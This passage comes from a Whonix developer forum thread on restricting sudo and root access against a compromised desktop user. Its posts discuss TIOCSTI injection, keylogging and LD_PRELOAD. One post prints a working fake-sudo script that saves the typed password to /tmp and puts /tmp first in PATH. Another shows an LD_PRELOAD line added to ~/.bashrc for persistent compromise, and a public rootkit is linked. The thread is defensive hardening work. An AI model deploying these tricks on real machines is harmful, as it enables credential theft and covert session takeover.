Restrict root access

Development
,
83

A post was split to a new topic: /proc/pid/sched spy on keystrokes - proof of concept spy-gksu

84

Also, switching to wayland won’t solve all of our problems.

Attackers can use the TIOCSTI ioctl to inject input to other processes in the same session. linux-hardened solves this though security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN ¡ anthraxx/linux-hardened@70d9a40 ¡ GitHub

This can’t be used for other ttys AFAIK.

1 Like
85

I don’t know: At least wayland doesn’t have an exclusive lock on display, keyboard etc.? By switching to to another virtual console it should be a clean virtual console, TIOCSTI ioctl should be no longer possible?

2 Likes
86

Yes, that would prevent it. Unprivileged users can only use TIOCSTI on their own console.

Root (processes with at least CAP_SYS_ADMIN) can use TIOCSTI on whatever console though.

1 Like
87

7 posts were split to a new topic: kernel patch CONFIG_TIOCSTI_DISABLE to further restrict root

88

I think we should setup Safely Use Root Commands by default or go further and remove sudo entirely.

I see what “iamwho” meant now.

It is trivial to grab the password and gain full root access.

For example, the attacker can exploit the plethora of keylogging opportunities such as X’s lack of GUI isolation, the many infoleaks in /proc and so much more.

Even if we mitigate every single way to log keystrokes, the attacker can just setup their own fake sudo program:

cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -r -p "[sudo] password for user: " password
  echo "${password}" > /tmp/password
  echo "Sorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

Using sudo is essentially security theater.

Edit: the LD_PRELOAD method won’t work on setuid binaries like sudo.

1 Like
89

Actually, LD_PRELOAD would work as you can preload malicious libraries for e.g. the shell to log keystrokes. It doesn’t have to be sudo.

1 Like
90

That issue is described here:
Strong Linux User Account Isolation

If that description is insufficient (if there is something that new (reasonably technical people) readers might overlook), please edit. It’s crucial to get these things properly documented so these issues and our solutions can be understood by as many people as possible to make sure it is actually effective.

That’s the plan. That’s the idea of multiple boot modes for better security: persistent user | live user | persistent secureadmin | persistent superadmin | persistent recovery mode. Booting in mode persistent/live user would result in user user not being a member of group sudo.

That might not be possible or take years to implement. For existing use of sudo
grep Whonix source code for sudo and lxsudo.

grep -r sudo | wc -l

819

Well, a lot of it are source code comments / source documentation / user documentation. Will try to narrow that down.

I guess I know what you mean but exactly such things need to be spelled out more detailed (in wiki, news posts) to generate awareness for the issue. I.e. including examples for which non-root user might be compromised and do what to compromise desktop users.

Trying to follow that line of thought more… If such infoleaks can spy on keystrokes to get access to the sudo password then that’s not only the sudo password but any keystroke. That’s not an issue for privilege escalation / exploitation but still a huge security issue as nobody wants all their typing leaked. Therefore let’s not just secure sudo but make sure that keystroke spying gets blocked.

Non-root users (let’s say user www) might find out the sudo password not be able to do anything with it due to the existing implementation.
( Strong Linux User Account Isolation )
These users not a member of group sudo and due to su restrictions, no login to other user accounts is possible.

That might not even be stoppable when making /tmp, /home etc. non-executable. Because this attack supposes a compromised non-user account that is a member of group sudo, i.e. in our case most likely user user. “compromised non-user account” could include, “there is already a malicious process running”. And if there is already a malicious process being executed there no stop to that by non-executable anything.

In other words, a compromised non-root user account which is member of group sudo is almost(?) equal to full root compromise. This needs to be documented somehow. No awareness → no fix.

And most Linux desktop nowadays are single user systems. There is only 1 non-root user being used. And that non-root user can in most Linux distributions either use su to gain root or is member of group sudo by default.

Not entirely, but I see your point. sudo seems to work as expected. sudo is useful. (A script running under root sudo -u www touch /var/log/www/something while www is not a part of group sudo.

Just perhaps the developers of sudo aren’t doing the best job of explaining X exclusive lock, secure attention key unraw. I don’t think many people know that when you switch from X to a virtual console that X might still have an exclusive lock and show a malicious, fake virtual console that could spy on the password entry. But we shouldn’t blame that on the developers of sudo.

Can easily create the impression of security theater.
Quote XScreenSaver FAQ

The solution to this is simple: you shouldn’t be logging in on the console as root in the first place! (What, are you crazy or something?)

Proper Unix hygiene dictates that you should log in as yourself, and su to root as necessary. People who spend their day logged in as root are just begging for disaster.

The author might understand all of these things but that text is written as if that’s common knowledge which it is not.

Let’s imagine (not going to happen, actually opposite) Whonix shipped with passwordless sudo by default because currently Linux desktop distribution use of sudo is mostly security theater and a usability degradation. I am sure, suddenly everyone would come out of the woods and complain how dangerous that is. But I also guess at the same time nobody would point out how to Prevent Malware from Sniffing the Root Password and most would still use 1 user user that is a member of group sudo for most daily tasks which then gain gives very little security. This seems ironic when knowing the background how much work/time is otherwise spent by Linux desktop distributions on user access rights related development (file permissions) and not just running everything as root.

1 Like
91

Excluding user/developer documentation, program output (suggestions to run commandos including sudo) we are down to just 208 uses of sudo.

grep \
--recursive \
--exclude=README.md \
--exclude=GPLv2 \
--exclude=GPLv3 \
--exclude=COPYING \
--exclude=control \
--exclude=whonix \
--exclude=ci_test \
--exclude=changelog.upstream-old1 \
--exclude=changelog.upstream \
--exclude-dir=.git \
--exclude-dir=sudoers.d \
--exclude-dir=apparmor.d \
--exclude=\*.{mediawiki,md,ronn,8,yml,examples} \
--exclude-dir=whonix-developer-meta-files \
--exclude-dir=lkrg \
--exclude-dir=gateway-shortcuts \
sudo | \
grep --invert-match '\#' | \
grep --invert-match '<blockquote>' | \
grep --invert-match '<code>' | \
grep --invert-match 'echo "' | \
grep --invert-match 'true "'

Adding another grep non-interactive (because Whonix source code uses sudo with parameter --non-interactive whenever possible for better reliability/spotting bugs easier) getting rid of sudo entirely or most uses of it might be possible.

Some examples how sudo is used:

whonix-legacy /usr/lib/whonix-legacy/fixes

sudo --non-interactive -u "$user_name" mkdir -p "/home/$user_name/.local/share/Bisq/btc_mainnet/tor" || true

root uses sudo to never create files with the wrong access rights.

anon-connection-wizard runs as user user but has to edit Tor configuration which is owned by root. Hence, uses sudo to make modifications. Also has to restart or reload Tor which also requires root, hence uses sudo.

How would we solve that? Maybe Whonix-Gateway doesn’t need a boot mode to boot into user? Perhaps Whonix-Gateway should always boot into admin mode? Because booting into user mode (no sudo possible) is mostly useful when running untrusted applications such as Tor Browser. But on Whonix-Gateway the user shouldn’t run applications much (anything?) that does not require sudo.

onioncircuits can be started from tor-control-panel. onioncircuits needs to run under user debian-tor. Therefore sudo is used to run onioncircuits nder user debian-tor.

On Whonix-Gateway it’s also allowed for user user to restart Tor / whonix-firewall without sudo password. Maybe another reason for Whonix-Gateway to not provide a limited user but only admin boot mode.

whonixcheck can be run by user user to make it as simple as possible to run the tests. whonixcheck runs under user whonixcheck for better security. whonixcheck has preconfigured sudoers.d exceptions so it can test things which require root.

Maybe “full whonixcheck” should only be possible as user admin (sudo allowed)? Some tests maybe even only possible as user superadmin? When whonixcheck is run as user user (in future no sudo possible) it would check very little?

Currently whonix repository tool GUI can be started by user user and them modifies file /etc/apt/souces.list.d/whonix.list. Therefore it is started with lxsudo (which is a GUI frontend, internally uses sudo). Requires sudo password. In future this would only be possible in admin mode. But I don’t see how to get rid of sudo entirely. Some applications are started by limited, non-root users but require root privileges to make changes.

Restarting sdwdate can be done by user user. Currently has a sudoers.d exception.

By getting rid of whonixcheck GUI output (CLI only) we would be one step closer to deprecating msgcollector (or at least msgcollector sudo wrapper / msgdispatcher). By deprecating tb-updater and replacing that with Tor Browser archive in binaries-freedom package + automated extraction on first Tor Browser start we might be able to get rid of msgcollector entirely.

Consider also reverse-depends sudo.

In conclusion, I think getting rid of user user being a member of group sudo might be very possible and worthwhile but getting rid of sudo entirely might not be possible on a desktop system unless perhaps requires functionality is ported to pkexec.

1 Like
92

I made some changes to the wiki: Strong Linux User Account Isolation - Whonix

Yes, we should definitely fix all known ways to monitor keystrokes. apparmor-profile-everything can do a great job at this.

We should look through the source code of public keyloggers/rootkits and see what methods they use. For example, https://github.com/naworkcaj/bdvl which works with LD_PRELOAD.

1 Like
93

Made some more edits. Could you check please and “answer” by editing more?

Dev/Strong Linux User Account Isolation: Difference between revisions - Whonix

1 Like
94

Dev/Strong Linux User Account Isolation: Difference between revisions - Whonix

The LD_PRELOAD solution isn’t meant to solve the fake sudo issue.

1 Like
95

Is that worth it if fake sudo issue cannot be solved?

Mounting all user-writeable places such as /home and /tmp as non-executable is not a solution because an attacker can use the bash interpreter to bypass the restrictions.

By that, do you mean dotfiles in home folder such as .bash_profile .bash_login .bash_logout .profile (and others)?

I was wondering anyhow if such vulnerable files should be made immutable (a root script running chattr +i file-name on these). That could be a feature of VirusForget. Though, it might be an impossible game of whack a mole trying to close all the vulnerable files in home folders that could be abused for virus persistence among reboots. (I reported ~/.pam_environment during unrelated development reading a man page.) Or perhaps AppArmor could be configured to only allow XFCE to write into folders such as ~/.config/xfce?

But could such solutions might never be sufficient to fix the fake sudo prompt issue?

One definition of a compromised user user account includes that some malicious process (Trojan horse) is running there already wanting to gain sudo/root access. Such a process could paint its own lxsudo window. There are also utilities (therefore probably also APIs) which allow scripts/programs to do keystroke entries and mice movements. A malicious program could open a fake xfce4-terminal emulator window. (Perhaps open fake xfce4-terminal in background, redraw contents from real xfce4-terminal in background, close real xfce4-terminal.)

Qubes has trusted window decorations. VM window title bars have identifiers such as [private] or [vault], the VM name. And the window decorations (color frames).
( Redirecting… )
(Trusted window manager.)

In Desktop Linux there is no such distinctions. There is no way to know for any user which process is drawing a window if the user account is compromised. I.e. a fake sudo prompt cannot be distinguished from a real sudo prompt. Or a fake xfce4-terminal cannot be distinguished from a real xfce4-terminal. Therefore I guess there can be no solution for the fake sudo prompt issue except user user not being a member of group sudo. (Except perhaps inventing something similar as a trusted window manager.)

1 Like
96

Yes, LD_PRELOAD can be abused for a lot more than just getting the sudo password. The attacker can just add

export LD_PRELOAD=/path/to/malicious_library

to ~/.bashrc or similar to compromise all programs in the user’s session. It’s not just monitoring keystrokes but a full compromise.

Doesn’t have to be them specifically. My example, /tmp/sudo would still work when /tmp is mounted with noexec because /bin/bash is still executable.

Those dotfiles are especially dangerous as they’re sourced upon login and can be used for persistent rootkits.

97

What else an attacker running a malicious process under user user (and therefore ability to spy on keystrokes and read all files by user user would want? That seems to me as a pretty complete compromise (except root). I.e. what do you mean by full compromise? Control/spy on the memory of the application?

Ah, bash /path/to/script. That was non-obvious to me. Clarified in wiki just now. Would interpreter lock help?

/bin/bash is the actual real, non-malicious bash. And in this threat model user user is compromised while sudo/root is not compromised yet and desired stay that way. Therefore /bin/bash is not writeable by the attacker, i.e. cannot be replaced with a malicious bash version by the attacker.

Even if we had interpreter lock and immutable dotfiles… There’s still risk of malicious process drawing malicious fake windows? And that issue cannot be resolved? Or could we invent something like “scripts/programs running in /home, /tmp shall not be able to create GUI windows?” Dunno if this would be a viable path…

unset DISPLAY
mousepad

Unable to init server: Could not connect: Connection refused

1 Like
98

Yes. LD_PRELOAD can hook into all processes and can be used to spy on essentially everything in the user’s session. It’s used in many rootkits such as the example I gave above https://github.com/naworkcaj/bdvl

It’s similar to ptrace in a sense.

That would entail removing all shell access which might be far too restrictive. Users wouldn’t be able to even open their terminals anymore.

Maybe we could create a restricted shell?

I think it’s a good idea. We’d need to research how though.

That won’t work. The attacker can just reset $DISPLAY:

DISPLAY=:0.0 mousepad
99

OK.

interpreter lock doesn’t necessarily have to become a default enabled feature. That’s actually unlikely. Not sure yet.

On top of user / admin / superadmin boot modes, users who boot into user mode could choose to turn that user user into a additionally restricted user (new term required also vs normal user user). In such a mode the user would only be able to do a few things such as starting high risk applications. Or perhaps for example one mode would only allow to run Tor Browser but nothing else. Suppose the Tor Browser process would be compromised, the attacker couldn’t do much if we suppose /home/, /tmp, etc. noexec, interpreter lock, restricted shell, apparmor, sandbox, and whatnot. That would be similar to Chromium OS (which has interpreter lock) or Android. I.e. some users might choose to reduce the functionality of their VM in order to get better security.

Yes. The concept is good.
Though the actual implementation of rbash at is quite limited
But maybe that could be improved. Perhaps such fixed restricted shells already exist.

The DISPLAY variable is just to start imagination. Maybe apparmor, sandbox, restricted shell or something could prohibit from setting the DISPLAY variable? Or some other environment variable? Or DISPLAY (or so) containing a random hash which cannot be guessed/find out by the attacker?

1 Like
100

Interpreter lock should fix that. Deny execution of the real shells and only allow rbash.

1 Like
101

^ the LD_PRELOAD thing I was talking about.

I think we should just enable environment scrubbing globally in apparmor-profile-everything and sandbox-app-launcher.

hardened_malloc isn’t a big issue currently as we aren’t using it for much yet. If we want to use it, we can just set it in /etc/ld.so.preload. I don’t see much breakage with it anyway.

2 Likes
102

Use case?

Threat scenario: compromised user user but no root compromise.

If one can log keystrokes and view all data in /home/user, I don’t see much extra harm with LD_PRELOAD.

LD_PRELOAD prevention would lower attack surface for root compromise if combined with noexec? Then no new, extra, arbitrary code could be downloaded/created executed? That might depend on the type of exploit used to gain user user compromise.

1 Like